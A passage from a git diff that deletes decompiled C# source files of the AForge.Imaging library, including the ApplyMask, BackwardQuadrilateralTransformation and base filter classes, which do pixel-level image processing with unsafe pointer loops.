image.Stride + rect.Left * num; - for (int i = top; i < num2; i++) - { - int num6 = num3; - while (num6 < num4) - { - *ptr = (byte)System.Math.Max(0f, System.Math.Min(255f, (float)(int)(*ptr) + generator.Next())); - num6++; - ptr++; - } - ptr += num5; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ApplyMask.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ApplyMask.cs deleted file mode 100644 index 2cef62c..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ApplyMask.cs +++ /dev/null @@ -1,308 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class ApplyMask : BaseInPlacePartialFilter -{ - private Bitmap maskImage; - - private UnmanagedImage unmanagedMaskImage; - - private byte[,] mask; - - private Dictionary formatTranslations = new Dictionary(); - - public Bitmap MaskImage - { - get - { - return maskImage; - } - set - { - //IL_000e: Unknown result type (might be due to invalid IL or missing references) - //IL_0018: Invalid comparison between Unknown and I4 - if (maskImage != null && (int)((Image)maskImage).PixelFormat != 198659) - { - throw new ArgumentException("The mask image must be 8 bpp grayscale image."); - } - maskImage = value; - unmanagedMaskImage = null; - mask = null; - } - } - - public UnmanagedImage UnmanagedMaskImage - { - get - { - return unmanagedMaskImage; - } - set - { - //IL_000e: Unknown result type (might be due to invalid IL or missing references) - //IL_0018: Invalid comparison between Unknown and I4 - if (unmanagedMaskImage != null && (int)unmanagedMaskImage.PixelFormat != 198659) - { - throw new ArgumentException("The mask image must be 8 bpp grayscale image."); - } - unmanagedMaskImage = value; - maskImage = null; - mask = null; - } - } - - public byte[,] Mask - { - get - { - return mask; - } - set - { - mask = value; - maskImage = null; - unmanagedMaskImage = null; - } - } - - public override Dictionary FormatTranslations => formatTranslations; - - private ApplyMask() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)2498570; - formatTranslations[(PixelFormat)139273] = (PixelFormat)139273; - formatTranslations[(PixelFormat)925707] = (PixelFormat)925707; - formatTranslations[(PixelFormat)1052676] = (PixelFormat)1052676; - formatTranslations[(PixelFormat)1060876] = (PixelFormat)1060876; - formatTranslations[(PixelFormat)3424269] = (PixelFormat)3424269; - formatTranslations[(PixelFormat)1851406] = (PixelFormat)1851406; - } - - public ApplyMask(Bitmap maskImage) - : this() - { - MaskImage = maskImage; - } - - public ApplyMask(UnmanagedImage unmanagedMaskImage) - : this() - { - UnmanagedMaskImage = unmanagedMaskImage; - } - - public ApplyMask(byte[,] mask) - : this() - { - Mask = mask; - } - - protected unsafe override void ProcessFilter(UnmanagedImage image, Rectangle rect) - { - if (mask != null) - { - if (image.Width != mask.GetLength(1) || image.Height != mask.GetLength(0)) - { - throw new ArgumentException("Invalid size of mask array. Its size must be the same as the size of the image to mask."); - } - fixed (byte* ptr = mask) - { - ProcessImage(image, rect, ptr, mask.GetLength(1)); - } - return; - } - if (unmanagedMaskImage != null) - { - if (image.Width != unmanagedMaskImage.Width || image.Height != unmanagedMaskImage.Height) - { - throw new ArgumentException("Invalid size of unmanaged mask image. Its size must be the same as the size of the image to mask."); - } - ProcessImage(image, rect, (byte*)unmanagedMaskImage.ImageData.ToPointer(), unmanagedMaskImage.Stride); - return; - } - if (maskImage != null) - { - if (image.Width != ((Image)maskImage).Width || image.Height != ((Image)maskImage).Height) - { - throw new ArgumentException("Invalid size of mask image. Its size must be the same as the size of the image to mask."); - } - BitmapData val = maskImage.LockBits(new Rectangle(0, 0, image.Width, image.Height), (ImageLockMode)1, (PixelFormat)198659); - try - { - ProcessImage(image, rect, (byte*)val.Scan0.ToPointer(), val.Stride); - return; - } - finally - { - maskImage.UnlockBits(val); - } - } - throw new NullReferenceException("None of the possible mask properties were set. Need to provide mask before applying the filter."); - } - - private unsafe void ProcessImage(UnmanagedImage image, Rectangle rect, byte* mask, int maskLineSize) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - int num = Image.GetPixelFormatSize(image.PixelFormat) / 8; - int top = rect.Top; - int num2 = top + rect.Height; - int left = rect.Left; - int num3 = left + rect.Width; - int stride = image.Stride; - int num4 = maskLineSize - rect.Width; - mask += maskLineSize * top + left; - if (num <= 4 && num != 2) - { - byte* ptr = (byte*)image.ImageData.ToPointer() + (nint)stride * (nint)top + (nint)num * (nint)left; - int num5 = stride - rect.Width * num; - switch (num) - { - case 1: - { - for (int j = top; j < num2; j++) - { - int num7 = left; - while (num7 < num3) - { - if (*mask == 0) - { - *ptr = 0; - } - num7++; - ptr++; - mask++; - } - ptr += num5; - mask += num4; - } - break; - } - case 3: - { - for (int k = top; k < num2; k++) - { - int num8 = left; - while (num8 < num3) - { - if (*mask == 0) - { - ptr[2] = 0; - ptr[1] = 0; - *ptr = 0; - } - num8++; - ptr += 3; - mask++; - } - ptr += num5; - mask += num4; - } - break; - } - case 4: - { - for (int i = top; i < num2; i++) - { - int num6 = left; - while (num6 < num3) - { - if (*mask == 0) - { - ptr[2] = 0; - ptr[1] = 0; - *ptr = 0; - ptr[3] = 0; - } - num6++; - ptr += 4; - mask++; - } - ptr += num5; - mask += num4; - } - break; - } - case 2: - break; - } - return; - } - byte* ptr2 = (byte*)image.ImageData.ToPointer() + (nint)stride * (nint)top + (nint)num * (nint)left; - switch (num) - { - case 2: - { - for (int m = top; m < num2; m++) - { - ushort* ptr4 = (ushort*)ptr2; - int num10 = left; - while (num10 < num3) - { - if (*mask == 0) - { - *ptr4 = 0; - } - num10++; - ptr4++; - mask++; - } - ptr2 += stride; - mask += num4; - } - break; - } - case 6: - { - for (int n = top; n < num2; n++) - { - ushort* ptr5 = (ushort*)ptr2; - int num11 = left; - while (num11 < num3) - { - if (*mask == 0) - { - ptr5[2] = 0; - ptr5[1] = 0; - *ptr5 = 0; - } - num11++; - ptr5 += 3; - mask++; - } - ptr2 += stride; - mask += num4; - } - break; - } - case 8: - { - for (int l = top; l < num2; l++) - { - ushort* ptr3 = (ushort*)ptr2; - int num9 = left; - while (num9 < num3) - { - if (*mask == 0) - { - ptr3[2] = 0; - ptr3[1] = 0; - *ptr3 = 0; - ptr3[3] = 0; - } - num9++; - ptr3 += 4; - mask++; - } - ptr2 += stride; - mask += num4; - } - break; - } - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BackwardQuadrilateralTransformation.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BackwardQuadrilateralTransformation.cs deleted file mode 100644 index 029b302..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BackwardQuadrilateralTransformation.cs +++ /dev/null @@ -1,276 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; -using AForge.Math.Geometry; - -namespace AForge.Imaging.Filters; - -public class BackwardQuadrilateralTransformation : BaseInPlaceFilter -{ - private Bitmap sourceImage; - - private UnmanagedImage sourceUnmanagedImage; - - private List destinationQuadrilateral; - - private bool useInterpolation = true; - - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public Bitmap SourceImage - { - get - { - return sourceImage; - } - set - { - sourceImage = value; - if (value != null) - { - sourceUnmanagedImage = null; - } - } - } - - public UnmanagedImage SourceUnmanagedImage - { - get - { - return sourceUnmanagedImage; - } - set - { - sourceUnmanagedImage = value; - if (value != null) - { - sourceImage = null; - } - } - } - - public List DestinationQuadrilateral - { - get - { - return destinationQuadrilateral; - } - set - { - destinationQuadrilateral = value; - } - } - - public bool UseInterpolation - { - get - { - return useInterpolation; - } - set - { - useInterpolation = value; - } - } - - public BackwardQuadrilateralTransformation() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)139273] = (PixelFormat)139273; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)2498570; - formatTranslations[(PixelFormat)925707] = (PixelFormat)925707; - } - - public BackwardQuadrilateralTransformation(Bitmap sourceImage) - : this() - { - this.sourceImage = sourceImage; - } - - public BackwardQuadrilateralTransformation(UnmanagedImage sourceUnmanagedImage) - : this() - { - this.sourceUnmanagedImage = sourceUnmanagedImage; - } - - public BackwardQuadrilateralTransformation(Bitmap sourceImage, List destinationQuadrilateral) - : this() - { - this.sourceImage = sourceImage; - this.destinationQuadrilateral = destinationQuadrilateral; - } - - public BackwardQuadrilateralTransformation(UnmanagedImage sourceUnmanagedImage, List destinationQuadrilateral) - : this() - { - this.sourceUnmanagedImage = sourceUnmanagedImage; - this.destinationQuadrilateral = destinationQuadrilateral; - } - - protected override void ProcessFilter(UnmanagedImage image) - { - //IL_001c: Unknown result type (might be due to invalid IL or missing references) - //IL_0027: Unknown result type (might be due to invalid IL or missing references) - //IL_0093: Unknown result type (might be due to invalid IL or missing references) - //IL_009e: Unknown result type (might be due to invalid IL or missing references) - //IL_0063: Unknown result type (might be due to invalid IL or missing references) - if (destinationQuadrilateral == null) - { - throw new NullReferenceException("Destination quadrilateral was not set."); - } - if (sourceImage != null) - { - if (image.PixelFormat != ((Image)sourceImage).PixelFormat) - { - throw new InvalidImagePropertiesException("Source and destination images must have same pixel format."); - } - BitmapData val = sourceImage.LockBits(new Rectangle(0, 0, ((Image)sourceImage).Width, ((Image)sourceImage).Height), (ImageLockMode)1, ((Image)sourceImage).PixelFormat); - try - { - ProcessFilter(image, new UnmanagedImage(val)); - return; - } - finally - { - sourceImage.UnlockBits(val); - } - } - if (sourceUnmanagedImage != null) - { - if (image.PixelFormat != sourceUnmanagedImage.PixelFormat) - { - throw new InvalidImagePropertiesException("Source and destination images must have same pixel format."); - } - ProcessFilter(image, sourceUnmanagedImage); - return; - } - throw new NullReferenceException("Source image is not set."); - } - - private unsafe void ProcessFilter(UnmanagedImage dstImage, UnmanagedImage srcImage) - { - //IL_001d: Unknown result type (might be due to invalid IL or missing references) - int width = srcImage.Width; - int height = srcImage.Height; - int width2 = dstImage.Width; - int height2 = dstImage.Height; - int num = Image.GetPixelFormatSize(srcImage.PixelFormat) / 8; - int stride = srcImage.Stride; - int stride2 = dstImage.Stride; - PointsCloud.GetBoundingRectangle(destinationQuadrilateral, out var minXY, out var maxXY); - if (maxXY.X < 0 || maxXY.Y < 0 || minXY.X >= width2 || minXY.Y >= height2) - { - return; - } - if (minXY.X < 0) - { - minXY.X = 0; - } - if (minXY.Y < 0) - { - minXY.Y = 0; - } - if (maxXY.X >= width2) - { - maxXY.X = width2 - 1; - } - if (maxXY.Y >= height2) - { - maxXY.Y = height2 - 1; - } - int x = minXY.X; - int y = minXY.Y; - int num2 = maxXY.X + 1; - int num3 = maxXY.Y + 1; - int num4 = stride2 - (num2 - x) * num; - List list = new List(); - list.Add(new IntPoint(0, 0)); - list.Add(new IntPoint(width - 1, 0)); - list.Add(new IntPoint(width - 1, height - 1)); - list.Add(new IntPoint(0, height - 1)); - double[,] array = QuadTransformationCalcs.MapQuadToQuad(destinationQuadrilateral, list); - byte* ptr = (byte*)dstImage.ImageData.ToPointer(); - byte* ptr2 = (byte*)srcImage.ImageData.ToPointer(); - ptr += y * stride2 + x * num; - if (!useInterpolation) - { - for (int i = y; i < num3; i++) - { - for (int j = x; j < num2; j++) - { - double num5 = array[2, 0] * (double)j + array[2, 1] * (double)i + array[2, 2]; - double num6 = (array[0, 0] * (double)j + array[0, 1] * (double)i + array[0, 2]) / num5; - double num7 = (array[1, 0] * (double)j + array[1, 1] * (double)i + array[1, 2]) / num5; - if (num6 >= 0.0 && num7 >= 0.0 && num6 < (double)width && num7 < (double)height) - { - byte* ptr3 = ptr2 + (nint)(int)num7 * (nint)stride + (nint)(int)num6 * (nint)num; - int num8 = 0; - while (num8 < num) - { - *ptr = *ptr3; - num8++; - ptr++; - ptr3++; - } - } - else - { - ptr += num; - } - } - ptr += num4; - } - return; - } - int num9 = width - 1; - int num10 = height - 1; - for (int k = y; k < num3; k++) - { - for (int l = x; l < num2; l++) - { - double num11 = array[2, 0] * (double)l + array[2, 1] * (double)k + array[2, 2]; - double num12 = (array[0, 0] * (double)l + array[0, 1] * (double)k + array[0, 2]) / num11; - double num13 = (array[1, 0] * (double)l + array[1, 1] * (double)k + array[1, 2]) / num11; - if (num12 >= 0.0 && num13 >= 0.0 && num12 < (double)width && num13 < (double)height) - { - int num14 = (int)num12; - int num15 = ((num14 == num9) ? num14 : (num14 + 1)); - double num16 = num12 - (double)num14; - double num17 = 1.0 - num16; - int num18 = (int)num13; - int num19 = ((num18 == num10) ? num18 : (num18 + 1)); - double num20 = num13 - (double)num18; - double num21 = 1.0 - num20; - byte* ptr5; - byte* ptr4 = (ptr5 = ptr2 + (nint)num18 * (nint)stride); - ptr4 += (nint)num14 * (nint)num; - ptr5 += (nint)num15 * (nint)num; - byte* ptr7; - byte* ptr6 = (ptr7 = ptr2 + (nint)num19 * (nint)stride); - ptr6 += (nint)num14 * (nint)num; - ptr7 += (nint)num15 * (nint)num; - int num22 = 0; - while (num22 < num) - { - *ptr = (byte)(num21 * (num17 * (double)(int)(*ptr4) + num16 * (double)(int)(*ptr5)) + num20 * (num17 * (double)(int)(*ptr6) + num16 * (double)(int)(*ptr7))); - num22++; - ptr++; - ptr4++; - ptr5++; - ptr6++; - ptr7++; - } - } - else - { - ptr += num; - } - } - ptr += num4; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BaseFilter.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BaseFilter.cs deleted file mode 100644 index aba40cf..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BaseFilter.cs +++ /dev/null @@ -1,98 +0,0 @@ -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public abstract class BaseFilter : IFilter, IFilterInformation -{ - public abstract Dictionary FormatTranslations { get; } - - public Bitmap Apply(Bitmap image) - { - //IL_0016: Unknown result type (might be due to invalid IL or missing references) - BitmapData val = image.LockBits(new Rectangle(0, 0, ((Image)image).Width, ((Image)image).Height), (ImageLockMode)1, ((Image)image).PixelFormat); - Bitmap val2 = null; - try - { - val2 = Apply(val); - if (((Image)image).HorizontalResolution > 0f && ((Image)image).VerticalResolution > 0f) - { - val2.SetResolution(((Image)image).HorizontalResolution, ((Image)image).VerticalResolution); - } - } - finally - { - image.UnlockBits(val); - } - return val2; - } - - public Bitmap Apply(BitmapData imageData) - { - //IL_0002: Unknown result type (might be due to invalid IL or missing references) - //IL_0021: Unknown result type (might be due to invalid IL or missing references) - //IL_0026: Unknown result type (might be due to invalid IL or missing references) - //IL_002b: Unknown result type (might be due to invalid IL or missing references) - //IL_002c: Unknown result type (might be due to invalid IL or missing references) - //IL_0032: Invalid comparison between Unknown and I4 - //IL_0036: Unknown result type (might be due to invalid IL or missing references) - //IL_0037: Unknown result type (might be due to invalid IL or missing references) - //IL_0051: Unknown result type (might be due to invalid IL or missing references) - CheckSourceFormat(imageData.PixelFormat); - int width = imageData.Width; - int height = imageData.Height; - PixelFormat val = FormatTranslations[imageData.PixelFormat]; - Bitmap val2 = (Bitmap)(((int)val == 198659) ? ((object)Image.CreateGrayscaleImage(width, height)) : ((object)new Bitmap(width, height, val))); - BitmapData val3 = val2.LockBits(new Rectangle(0, 0, width, height), (ImageLockMode)3, val); - try - { - ProcessFilter(new UnmanagedImage(imageData), new UnmanagedImage(val3)); - } - finally - { - val2.UnlockBits(val3); - } - return val2; - } - - public UnmanagedImage Apply(UnmanagedImage image) - { - //IL_0002: Unknown result type (might be due to invalid IL or missing references) - //IL_001f: Unknown result type (might be due to invalid IL or missing references) - //IL_0024: Unknown result type (might be due to invalid IL or missing references) - CheckSourceFormat(image.PixelFormat); - UnmanagedImage unmanagedImage = UnmanagedImage.Create(image.Width, image.Height, FormatTranslations[image.PixelFormat]); - ProcessFilter(image, unmanagedImage); - return unmanagedImage; - } - - public void Apply(UnmanagedImage sourceImage, UnmanagedImage destinationImage) - { - //IL_0002: Unknown result type (might be due to invalid IL or missing references) - //IL_000d: Unknown result type (might be due to invalid IL or missing references) - //IL_0019: Unknown result type (might be due to invalid IL or missing references) - //IL_001e: Unknown result type (might be due to invalid IL or missing references) - CheckSourceFormat(sourceImage.PixelFormat); - if (destinationImage.PixelFormat != FormatTranslations[sourceImage.PixelFormat]) - { - throw new InvalidImagePropertiesException("Destination pixel format is specified incorrectly."); - } - if (destinationImage.Width != sourceImage.Width || destinationImage.Height != sourceImage.Height) - { - throw new InvalidImagePropertiesException("Destination image must have the same width and height as source image."); - } - ProcessFilter(sourceImage, destinationImage); - } - - protected abstract void ProcessFilter(UnmanagedImage sourceData, UnmanagedImage destinationData); - - private void CheckSourceFormat(PixelFormat pixelFormat) - { - //IL_0006: Unknown result type (might be due to invalid IL or missing references) - if (!FormatTranslations.ContainsKey(pixelFormat)) - { - throw new UnsupportedImageFormatException("Source pixel format is not supported by the filter."); - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BaseFilter2.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BaseFilter2.cs deleted file mode 100644 index 074973a..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BaseFilter2.cs +++ /dev/null @@ -1,109 +0,0 @@ -using System; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public abstract class BaseFilter2 : BaseFilter -{ - private Bitmap overlayImage; - - private UnmanagedImage unmanagedOverlayImage; - - public Bitmap OverlayImage - { - get - { - return overlayImage; - } - set - { - overlayImage = value; - if (value != null) - { - unmanagedOverlayImage = null; - } - } - } - - public UnmanagedImage UnmanagedOverlayImage - { - get - { - return unmanagedOverlayImage; - } - set - { - unmanagedOverlayImage = value; - if (value != null) - { - overlayImage = null; - } - } - } - - protected BaseFilter2() - { - } - - protected BaseFilter2(Bitmap overlayImage) - { - this.overlayImage = overlayImage; - } - - protected BaseFilter2(UnmanagedImage unmanagedOverlayImage) - { - this.unmanagedOverlayImage = unmanagedOverlayImage; - } - - protected override void ProcessFilter(UnmanagedImage sourceData, UnmanagedImage destinationData) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_0006: Unknown result type (might be due to invalid IL or missing references) - //IL_001d: Unknown result type (might be due to invalid IL or missing references) - //IL_0024: Unknown result type (might be due to invalid IL or missing references) - //IL_0099: Unknown result type (might be due to invalid IL or missing references) - //IL_00a0: Unknown result type (might be due to invalid IL or missing references) - //IL_006d: Unknown result type (might be due to invalid IL or missing references) - PixelFormat pixelFormat = sourceData.PixelFormat; - int width = sourceData.Width; - int height = sourceData.Height; - if (overlayImage != null) - { - if (pixelFormat != ((Image)overlayImage).PixelFormat) - { - throw new InvalidImagePropertiesException("Source and overlay images must have same pixel format."); - } - if (width != ((Image)overlayImage).Width || height != ((Image)overlayImage).Height) - { - throw new InvalidImagePropertiesException("Overlay image size must be equal to source image size."); - } - BitmapData val = overlayImage.LockBits(new Rectangle(0, 0, width, height), (ImageLockMode)1, pixelFormat); - try - { - ProcessFilter(sourceData, new UnmanagedImage(val), destinationData); - return; - } - finally - { - overlayImage.UnlockBits(val); - } - } - if (unmanagedOverlayImage != null) - { - if (pixelFormat != unmanagedOverlayImage.PixelFormat) - { - throw new InvalidImagePropertiesException("Source and overlay images must have same pixel format."); - } - if (width != unmanagedOverlayImage.Width || height != unmanagedOverlayImage.Height) - { - throw new InvalidImagePropertiesException("Overlay image size must be equal to source image size."); - } - ProcessFilter(sourceData, unmanagedOverlayImage, destinationData); - return; - } - throw new NullReferenceException("Overlay image is not set."); - } - - protected abstract void ProcessFilter(UnmanagedImage sourceData, UnmanagedImage overlay, UnmanagedImage destinationData); -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BaseInPlaceFilter.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BaseInPlaceFilter.cs deleted file mode 100644 index 70928fb..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BaseInPlaceFilter.cs +++ /dev/null @@ -1,139 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public abstract class BaseInPlaceFilter : IFilter, IInPlaceFilter, IFilterInformation -{ - public abstract Dictionary FormatTranslations { get; } - - public Bitmap Apply(Bitmap image) - { - //IL_0016: Unknown result type (might be due to invalid IL or missing references) - BitmapData val = image.LockBits(new Rectangle(0, 0, ((Image)image).Width, ((Image)image).Height), (ImageLockMode)1, ((Image)image).PixelFormat); - Bitmap val2 = null; - try - { - val2 = Apply(val); - if (((Image)image).HorizontalResolution > 0f && ((Image)image).VerticalResolution > 0f) - { - val2.SetResolution(((Image)image).HorizontalResolution, ((Image)image).VerticalResolution); - } - } - finally - { - image.UnlockBits(val); - } - return val2; - } - - public Bitmap Apply(BitmapData imageData) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_0006: Unknown result type (might be due to invalid IL or missing references) - //IL_0008: Unknown result type (might be due to invalid IL or missing references) - //IL_001c: Unknown result type (might be due to invalid IL or missing references) - //IL_0022: Invalid comparison between Unknown and I4 - //IL_0026: Unknown result type (might be due to invalid IL or missing references) - //IL_0027: Unknown result type (might be due to invalid IL or missing references) - //IL_0041: Unknown result type (might be due to invalid IL or missing references) - PixelFormat pixelFormat = imageData.PixelFormat; - CheckSourceFormat(pixelFormat); - int width = imageData.Width; - int height = imageData.Height; - Bitmap val = (Bitmap)(((int)pixelFormat == 198659) ? ((object)Image.CreateGrayscaleImage(width, height)) : ((object)new Bitmap(width, height, pixelFormat))); - BitmapData val2 = val.LockBits(new Rectangle(0, 0, width, height), (ImageLockMode)3, pixelFormat); - SystemTools.CopyUnmanagedMemory(val2.Scan0, imageData.Scan0, imageData.Stride * height); - try - { - ProcessFilter(new UnmanagedImage(val2)); - } - finally - { - val.UnlockBits(val2); - } - return val; - } - - public UnmanagedImage Apply(UnmanagedImage image) - { - //IL_0002: Unknown result type (might be due to invalid IL or missing references) - //IL_0019: Unknown result type (might be due to invalid IL or missing references) - CheckSourceFormat(image.PixelFormat); - UnmanagedImage unmanagedImage = UnmanagedImage.Create(image.Width, image.Height, image.PixelFormat); - Apply(image, unmanagedImage); - return unmanagedImage; - } - - public unsafe void Apply(UnmanagedImage sourceImage, UnmanagedImage destinationImage) - { - //IL_0002: Unknown result type (might be due to invalid IL or missing references) - //IL_000d: Unknown result type (might be due to invalid IL or missing references) - //IL_0013: Unknown result type (might be due to invalid IL or missing references) - CheckSourceFormat(sourceImage.PixelFormat); - if (destinationImage.PixelFormat != sourceImage.PixelFormat) - { - throw new InvalidImagePropertiesException("Destination pixel format must be the same as pixel format of source image."); - } - if (destinationImage.Width != sourceImage.Width || destinationImage.Height != sourceImage.Height) - { - throw new InvalidImagePropertiesException("Destination image must have the same width and height as source image."); - } - int stride = destinationImage.Stride; - int stride2 = sourceImage.Stride; - int count = System.Math.Min(stride2, stride); - byte* ptr = (byte*)destinationImage.ImageData.ToPointer(); - byte* ptr2 = (byte*)sourceImage.ImageData.ToPointer(); - int i = 0; - for (int height = sourceImage.Height; i < height; i++) - { - SystemTools.CopyUnmanagedMemory(ptr, ptr2, count); - ptr += stride; - ptr2 += stride2; - } - ProcessFilter(destinationImage); - } - - public void ApplyInPlace(Bitmap image) - { - //IL_0002: Unknown result type (might be due to invalid IL or missing references) - //IL_0022: Unknown result type (might be due to invalid IL or missing references) - CheckSourceFormat(((Image)image).PixelFormat); - BitmapData val = image.LockBits(new Rectangle(0, 0, ((Image)image).Width, ((Image)image).Height), (ImageLockMode)3, ((Image)image).PixelFormat); - try - { - ProcessFilter(new UnmanagedImage(val)); - } - finally - { - image.UnlockBits(val); - } - } - - public void ApplyInPlace(BitmapData imageData) - { - //IL_0002: Unknown result type (might be due to invalid IL or missing references) - CheckSourceFormat(imageData.PixelFormat); - ProcessFilter(new UnmanagedImage(imageData)); - } - - public void ApplyInPlace(UnmanagedImage image) - { - //IL_0002: Unknown result type (might be due to invalid IL or missing references) - CheckSourceFormat(image.PixelFormat); - ProcessFilter(image); - } - - protected abstract void ProcessFilter(UnmanagedImage image); - - private void CheckSourceFormat(PixelFormat pixelFormat) - { - //IL_0006: Unknown result type (might be due to invalid IL or missing references) - if (!FormatTranslations.ContainsKey(pixelFormat)) - { - throw new UnsupportedImageFormatException("Source pixel format is not supported by the filter."); - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BaseInPlaceFilter2.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BaseInPlaceFilter2.cs deleted file mode 100644 index d4521f8..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BaseInPlaceFilter2.cs +++ /dev/null @@ -1,109 +0,0 @@ -using System; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public abstract class BaseInPlaceFilter2 : BaseInPlaceFilter -{ - private Bitmap overlayImage; - - private UnmanagedImage unmanagedOverlayImage; - - public Bitmap OverlayImage - { - get - { - return overlayImage; - } - set - { - overlayImage = value; - if (value != null) - { - unmanagedOverlayImage = null; - } - } - } - - public UnmanagedImage UnmanagedOverlayImage - { - get - { - return unmanagedOverlayImage; - } - set - { - unmanagedOverlayImage = value; - if (value != null) - { - overlayImage = null; - } - } - } - - protected BaseInPlaceFilter2() - { - } - - protected BaseInPlaceFilter2(Bitmap overlayImage) - { - this.overlayImage = overlayImage; - } - - protected BaseInPlaceFilter2(UnmanagedImage unmanagedOverlayImage) - { - this.unmanagedOverlayImage = unmanagedOverlayImage; - } - - protected override void ProcessFilter(UnmanagedImage image) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_0006: Unknown result type (might be due to invalid IL or missing references) - //IL_001d: Unknown result type (might be due to invalid IL or missing references) - //IL_0024: Unknown result type (might be due to invalid IL or missing references) - //IL_0098: Unknown result type (might be due to invalid IL or missing references) - //IL_009f: Unknown result type (might be due to invalid IL or missing references) - //IL_006d: Unknown result type (might be due to invalid IL or missing references) - PixelFormat pixelFormat = image.PixelFormat; - int width = image.Width; - int height = image.Height; - if (overlayImage != null) - { - if (pixelFormat != ((Image)overlayImage).PixelFormat) - { - throw new InvalidImagePropertiesException("Source and overlay images must have same pixel format."); - } - if (width != ((Image)overlayImage).Width || height != ((Image)overlayImage).Height) - { - throw new InvalidImagePropertiesException("Overlay image size must be equal to source image size."); - } - BitmapData val = overlayImage.LockBits(new Rectangle(0, 0, width, height), (ImageLockMode)1, pixelFormat); - try - { - ProcessFilter(image, new UnmanagedImage(val)); - return; - } - finally - { - overlayImage.UnlockBits(val); - } - } - if (unmanagedOverlayImage != null) - { - if (pixelFormat != unmanagedOverlayImage.PixelFormat) - { - throw new InvalidImagePropertiesException("Source and overlay images must have same pixel format."); - } - if (width != unmanagedOverlayImage.Width || height != unmanagedOverlayImage.Height) - { - throw new InvalidImagePropertiesException("Overlay image size must be equal to source image size."); - } - ProcessFilter(image, unmanagedOverlayImage); - return; - } - throw new NullReferenceException("Overlay image is not set."); - } - - protected abstract void ProcessFilter(UnmanagedImage image, UnmanagedImage overlay); -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BaseInPlacePartialFilter.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BaseInPlacePartialFilter.cs deleted file mode 100644 index 20e31b8..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BaseInPlacePartialFilter.cs +++ /dev/null @@ -1,158 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public abstract class BaseInPlacePartialFilter : IFilter, IInPlaceFilter, IInPlacePartialFilter, IFilterInformation -{ - public abstract Dictionary FormatTranslations { get; } - - public Bitmap Apply(Bitmap image) - { - //IL_0016: Unknown result type (might be due to invalid IL or missing references) - BitmapData val = image.LockBits(new Rectangle(0, 0, ((Image)image).Width, ((Image)image).Height), (ImageLockMode)1, ((Image)image).PixelFormat); - Bitmap val2 = null; - try - { - val2 = Apply(val); - if (((Image)image).HorizontalResolution > 0f && ((Image)image).VerticalResolution > 0f) - { - val2.SetResolution(((Image)image).HorizontalResolution, ((Image)image).VerticalResolution); - } - } - finally - { - image.UnlockBits(val); - } - return val2; - } - - public Bitmap Apply(BitmapData imageData) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_0006: Unknown result type (might be due to invalid IL or missing references) - //IL_0008: Unknown result type (might be due to invalid IL or missing references) - //IL_001c: Unknown result type (might be due to invalid IL or missing references) - //IL_0022: Invalid comparison between Unknown and I4 - //IL_0026: Unknown result type (might be due to invalid IL or missing references) - //IL_0027: Unknown result type (might be due to invalid IL or missing references) - //IL_0041: Unknown result type (might be due to invalid IL or missing references) - PixelFormat pixelFormat = imageData.PixelFormat; - CheckSourceFormat(pixelFormat); - int width = imageData.Width; - int height = imageData.Height; - Bitmap val = (Bitmap)(((int)pixelFormat == 198659) ? ((object)Image.CreateGrayscaleImage(width, height)) : ((object)new Bitmap(width, height, pixelFormat))); - BitmapData val2 = val.LockBits(new Rectangle(0, 0, width, height), (ImageLockMode)3, pixelFormat); - SystemTools.CopyUnmanagedMemory(val2.Scan0, imageData.Scan0, imageData.Stride * height); - try - { - ProcessFilter(new UnmanagedImage(val2), new Rectangle(0, 0, width, height)); - } - finally - { - val.UnlockBits(val2); - } - return val; - } - - public UnmanagedImage Apply(UnmanagedImage image) - { - //IL_0002: Unknown result type (might be due to invalid IL or missing references) - //IL_0019: Unknown result type (might be due to invalid IL or 